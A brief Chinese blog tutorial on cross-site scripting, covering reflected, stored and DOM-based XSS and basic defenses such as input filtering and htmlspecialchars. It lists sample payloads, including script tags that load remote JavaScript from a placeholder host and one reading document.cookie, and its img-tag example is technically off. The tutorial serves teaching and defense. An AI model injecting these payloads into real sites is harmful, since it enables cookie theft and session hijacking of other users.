Xss原理及攻防解析(简单明了)

原理解析

Xss被称作是跨站脚本攻击,类似于sql注入一样,攻击者在执行Xss时将恶意的脚本代码注入到网页中,当其他正常用户访问该网页时,恶意脚本就会被浏览器解析,危害用户安全。导致用户面临cookie窃取,session劫持等诸多危险。

反射型Xss

反射型的Xss的主要形成原因在于后端服务器在解析用户输入的数据时,将用户输入的数据解析为脚本数据,传递回浏览器后浏览器解析时当作脚本进行解析,触发Xss漏洞。

持久型Xss

持久型的Xss和反射性Xss的主要区别在于Xss代码是否被保存到数据库(或其他持久化存储介质中)。反射型Xss需要用户每次输入相关的Xss代码才能触发,而存储型Xss则可以存储到服务器的数据库中,每次服务器向浏览器传递该数据时就会触发Xss代码,例如在留言板等web应用中,攻击者留言<script>alert(document.cookie)</script>
当其他用户访问留言板时,服务器向浏览器传递该留言,但是浏览器将留言解析为脚本并且执行,导致Xss漏洞被触发。

DOM型Xss

DOM型的Xss则是针对文档直接进行的攻击,通过修改dom中的数据在本地执行,触发Xss漏洞。

攻击方式

普通的XSS: <script src=http://www.xxx.com/xss.js></script>
通过url插入: http://test.ctf8.com/level1.php?<script>console.log(111)</script>
通过标签插入XSS: <img src=http://www.xxx.com/xss.js>

防御方式

永远不要相信用户的输入,通过建立尽可能完善的过滤体系来防止XSS攻击的出现。可以采用正则表达式过滤,采用Htmlspecialchars转换输入等方式对用户输入进行处理。
作为OWASP top 10的漏洞,当前也有许多针对XSS漏洞或XSS隐患的自动化扫描工具,注入NoXss,w13scan以及RSA的Sqreen差价等等,开发者通过借助这些自动化工具,可以有效的提高自身应用的安全性。

闯关平台

http://test.ctf8.com/

我的个人博客,欢迎大家访问 ~~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章